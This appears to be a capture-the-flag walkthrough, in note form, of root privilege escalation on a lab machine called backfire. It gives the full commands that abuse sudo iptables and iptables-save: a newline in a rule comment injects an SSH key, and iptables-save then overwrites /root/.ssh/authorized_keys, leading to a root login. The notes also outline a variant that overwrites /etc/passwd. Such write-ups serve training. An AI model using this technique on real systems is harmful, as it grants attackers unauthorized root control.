Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
sergej@backfire:~$ whoami
sergej

priv esc

sudo

sh
sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
 
User sergej may run the following commands on backfire:
    (root) NOPASSWD: /usr/sbin/iptables
    (root) NOPASSWD: /usr/sbin/iptables-save
sh
                             ╚══════════════════════╝
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/bin/g++
/usr/bin/gcc
/usr/bin/make
/usr/bin/nc
/usr/bin/nc.traditional
/usr/bin/netcat
/usr/bin/perl
/usr/bin/ping
/usr/bin/python
/usr/bin/python3
/usr/bin/sudo
/usr/bin/wget
 
╔══════════╣ Installed Compilers
ii  g++                             4:12.2.0-3                     amd64        GNU C++ compiler
ii  g++-12                          12.2.0-14                      amd64        GNU C++ compiler
rc  g++-mingw-w64                   12.2.0-14+25.2                 all          GNU C++ compiler for MinGW-w64
rc  g++-mingw-w64-i686              12.2.0-14+25.2                 all          GNU C++ compiler for MinGW-w64 targeting Win32
rc  g++-mingw-w64-x86-64            12.2.0-14+25.2                 all          GNU C++ compiler for MinGW-w64 targeting Win64
ii  gcc                             4:12.2.0-3                     amd64        GNU C compiler
ii  gcc-12                          12.2.0-14                      amd64        GNU C compiler
rc  gcc-mingw-w64                   12.2.0-14+25.2                 all          GNU C compiler for MinGW-w64
rc  gcc-mingw-w64-i686              12.2.0-14+25.2                 all          GNU C compiler for MinGW-w64 targeting Win32
rc  gcc-mingw-w64-x86-64            12.2.0-14+25.2                 all          GNU C compiler for MinGW-w64 targeting Win64
ii  gfortran                        4:12.2.0-3                     amd64        GNU Fortran 95 compiler
ii  gfortran-12                     12.2.0-14                      amd64        GNU Fortran compiler
ii  rpcsvc-proto                    1.4.3-1                        amd64        RPC protocol compiler and definitions
/usr/bin/gcc
sh
╔══════════╣ Analyzing .service files
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services
/etc/systemd/system/hardhat_client.service is calling this writable executable: /home/sergej/
/etc/systemd/system/hardhat_server.service is calling this writable executable: /home/sergej/
/etc/systemd/system/multi-user.target.wants/hardhat_client.service is calling this writable executable: /home/sergej/
/etc/systemd/system/multi-user.target.wants/hardhat_server.service is calling this writable executable: /home/sergej/
/etc/systemd/system/multi-user.target.wants/networking.service could be executing some relative path
/etc/systemd/system/network-online.target.wants/networking.service could be executing some relative path
/etc/systemd/system/webserver.service could be executing some relative path

iptables

  • https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/
sh
sergej@backfire:~$ sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment "Allow packets to localhost"
sh
sergej@backfire:~$ sudo iptables --list-rules
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT
-A INPUT -i lo -j ACCEPT
 
  • dump all the rules
sh
sergej@backfire:~$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
  • By using the $’ quoting, we can instruct bash to replace the \n character with a newline!
  • Now, let’s dump again the loaded rules to check whether the newline was preserved:
sh
sergej@backfire:~$ sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'
sergej@backfire:~$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "Allow packets to localhost

Arbitrary File Overwrite via iptables-save

If this man page is right (it probably is), by simply running iptables-save without specifying any file, the rules will be dumped to STDOUT:

sh
sergej@backfire:~$ sudo iptables-save
# Generated by iptables-save v1.8.9 (nf_tables) on Sun Jan 26 00:21:10 2025
*filter
:INPUT ACCEPT [77:5488]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [122:11404]
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "Allow packets to localhost
This rule rocks!" -j ACCEPT
COMMIT
# Completed on Sun Jan 26 00:21:10 2025
  • saving it as test.txt
sh
sergej@backfire:~$ sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'
sergej@backfire:~$ sudo iptables-save -f test.txt
sergej@backfire:~$ cat test.txt 
# Generated by iptables-save v1.8.9 (nf_tables) on Sun Jan 26 00:20:36 2025
*filter
:INPUT ACCEPT [38:2796]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [60:5344]
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "Allow packets to localhost
This rule rocks!" -j ACCEPT
COMMIT
# Completed on Sun Jan 26 00:20:36 2025
  • it is own by root
sh
sergej@backfire:~$ ls -al
total 728
drwx------ 10 sergej sergej   4096 Jan 26 00:19 .
drwxr-xr-x  4 root   root     4096 Sep 28 20:05 ..
drwxr-xr-x  3 sergej sergej   4096 Sep 28 20:13 .aspnet
lrwxrwxrwx  1 root   root        9 Dec 12 10:14 .bash_history -> /dev/null
-rw-r--r--  1 sergej sergej    220 Sep 28 20:05 .bash_logout
-rw-r--r--  1 sergej sergej   3526 Sep 28 20:05 .bashrc
drwx------  3 sergej sergej   4096 Sep 28 21:42 .config
drwxr-xr-x 12 sergej sergej   4096 Sep 28 20:23 .dotnet
drwx------  3 sergej sergej   4096 Jan 25 14:13 .gnupg
drwxr-xr-x 12 sergej sergej   4096 Sep 28 22:12 HardHatC2
-rwxr-xr-x  1 sergej sergej    366 Sep 28 22:20 hardhat_firewall.sh
-rw-------  1 sergej sergej     20 Jan 25 14:20 .lesshst
-rwxr-xr-x  1 sergej sergej 676221 Aug  3  2023 linpeas.sh
drwxr-xr-x  3 sergej sergej   4096 Sep 28 20:13 .local
drwxr-xr-x  4 sergej sergej   4096 Sep 28 20:13 .nuget
-rw-r--r--  1 sergej sergej    807 Sep 28 20:05 .profile
drwxr-xr-x  2 sergej sergej   4096 Jan 25 14:06 .ssh
-rw-r--r--  1 root   root      614 Jan 26 00:19 test.txt

Proof of Concept

The steps to reproduce the privilege escalation are simple:

  1. Encrypt the new root password in the right format by running openssl passwd <password>
  2. Take the entry for root in the /etc/passwd, and copy it somewhere, replacing the x value of the encrypted password with the value generated at step 2
  3. Inject the forged root entry in a new iptables rule comment
  • the above didn't work therefore planted keys on root
sh
sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAo8yqNh3gxqSpyiidDkG8Xwd7XEfA1E3AH3DZ9FfPXC root@kali\n'
sh
sergej@backfire:~$ sudo /usr/sbin/iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAo8yqNh3gxqSpyiidDkG8Xwd7XEfA1E3AH3DZ9FfPXC root@kalin
" -j ACCEPT
-A INPUT -i lo -m comment --comment "
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAo8yqNh3gxqSpyiidDkG8Xwd7XEfA1E3AH3DZ9FfPXC root@kali
" -j ACCEPT
sh
sergej@backfire:~$ sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
sh
ssh -i id_rsa root@10.10.11.49
Enter passphrase for key 'id_rsa': 
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
root@backfire:~# whoami
root

root.txt

sh
root@backfire:~# cat root.txt
c7f7fdb5...